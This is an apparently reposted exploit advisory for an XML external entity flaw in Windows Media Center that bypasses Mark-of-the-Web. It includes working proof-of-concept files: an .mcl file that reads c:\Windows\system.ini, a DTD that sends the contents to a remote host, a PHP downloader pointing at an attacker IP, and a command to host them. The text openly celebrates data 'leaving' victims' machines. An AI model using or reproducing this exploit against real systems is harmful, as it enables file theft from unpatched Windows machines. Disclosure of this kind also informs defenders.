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Microsoft Windows Media Center 2002 - XML External Entity MotW Bypass Vulnerability
# Exploit Title: Microsoft Windows Media Center 2002 - XML External Entity MotW Bypass # Discovery by: hyp3rlinx # Date: 2019-12-03 # Vendor Homepage: www.microsoft.com # CVE: N/A [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/WINDOWS-MEDIA-CENTER-MOTW-BYPASS-XXE-ANNIVERSARY-EDITION.txt [+] ISR: Apparition Security [Vendor] www.microsoft.com [Product] Microsoft Windows Media Center Windows Media Center is a discontinued digital video recorder and media player created by Microsoft. Media Center was first introduced to Windows in 2002 on Windows XP Media Center. [Vulnerability Type] XML External Entity MotW Bypass (Anniversary Edition) [CVE Reference] N/A [Security Issue] This vulnerability was originally released by me back on December 4, 2016, yet remains unfixed. Now, to make matters worse I will let you know "mark-of-the-web" MotW does not matter here, its just ignored. Meaning, if the .MCL file is internet downloaded it gets the MOTW but files still exfiltrated. Therefore, I am releasing this "anniversary edition" XXE with important motw informations. This is a fully working remote information disclosure vulnerability that still affects Windows 7. Windows 7 is near end of life this January, yet it is still used by many organizations. Furthermore, it seems that Windows 8.1 (Pro) can also run Windows Media Center but I have not tested it. Host the "FindMeThatBiotch.dtd" DTD file in the web-root of the attacker server Port 80 etc... Download the ".mcl" file using Microsoft Internet Explorer. Check the MotW where you downloaded the .mcl file dir /r and note the Zone.Identifier:$DATA exists. Open the file and BOOM! watch shitz leaving!... still vulnerable after all these years lol. OS: Windows 7 (tested successfully) and possibly Windows 8.1 Pro [Exploit/POC] 1) "M$-Wmc-Anniversary-Motw-Bypass.mcl" # PoC <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE knobgobslob [ <!ENTITY % data666 SYSTEM "c:\Windows\system.ini"> <!ENTITY % junk SYSTEM "http://<TARGET-IP>/FindMeThatBiotch.dtd"> %junk; %param666; %FindMeThatBiotch; ]> 2) "FindMeThatBiotch.dtd" <!ENTITY % param666 "<!ENTITY % FindMeThatBiotch SYSTEM 'http://<TARGET-IP>/%data666;'>"> 3) Auto exploit PHP .mcl file downloader. <?php $url = 'http://<ATTACKER-IP>/M$-Wmc-Anniversary-Motw-Bypass.mcl'; header('Content-Type: application/octet-stream'); header("Content-Transfer-Encoding: Binary"); header("Content-disposition: attachment; filename=\"" . basename($url) . "\""); readfile($url); ?> 4) python -m SimpleHTTPServer 80 [POC Video URL] https://www.youtube.com/watch?v=zcrATpBNAZ0 # 0day.today [2024-09-28] #